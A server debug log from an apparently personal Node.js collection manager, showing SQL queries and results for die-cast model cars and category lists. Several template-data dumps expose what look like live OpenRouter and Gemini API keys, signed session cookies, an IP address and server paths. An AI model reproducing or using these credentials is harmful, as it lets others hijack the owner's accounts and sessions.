      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:07:08.162Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:07:08.497Z server-connect:router Serving templateView /
2026-02-04T07:07:08.498Z server-connect:app Executing action step identify
2026-02-04T07:07:08.498Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:08.498Z server-connect:output identity: 1
2026-02-04T07:07:08.498Z server-connect:app Executing action step restrict
2026-02-04T07:07:08.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:08.498Z server-connect:output restrict: undefined
2026-02-04T07:07:08.498Z server-connect:app Executing action step restrict
2026-02-04T07:07:08.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:08.499Z server-connect:output restrict: undefined
2026-02-04T07:07:08.499Z server-connect:router Render template layouts/main
2026-02-04T07:07:08.499Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:07:20.268Z server-connect:router Serving templateView /collections
2026-02-04T07:07:20.269Z server-connect:app Executing action step identify
2026-02-04T07:07:20.269Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:20.269Z server-connect:output identity: 1
2026-02-04T07:07:20.269Z server-connect:app Executing action step restrict
2026-02-04T07:07:20.269Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:20.269Z server-connect:output restrict: undefined
2026-02-04T07:07:20.269Z server-connect:router Render template masters/collections
2026-02-04T07:07:20.269Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:07:20.652Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T07:07:20.653Z server-connect:app Executing action step identify
2026-02-04T07:07:20.653Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:20.653Z server-connect:output identity: 1
2026-02-04T07:07:20.653Z server-connect:app Executing action step restrict
2026-02-04T07:07:20.653Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:20.654Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:07:20.654Z server-connect:output restrict: undefined
2026-02-04T07:07:20.654Z server-connect:app Executing action step select
2026-02-04T07:07:20.654Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T07:07:20.654Z server-connect:app Executing action step identify
2026-02-04T07:07:20.654Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:20.654Z server-connect:output identity: 1
2026-02-04T07:07:20.654Z server-connect:app Executing action step restrict
2026-02-04T07:07:20.654Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:20.655Z server-connect:output restrict: undefined
2026-02-04T07:07:20.655Z server-connect:app Executing action step paged
2026-02-04T07:07:20.655Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:07:20.655Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T07:07:20.656Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 189,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
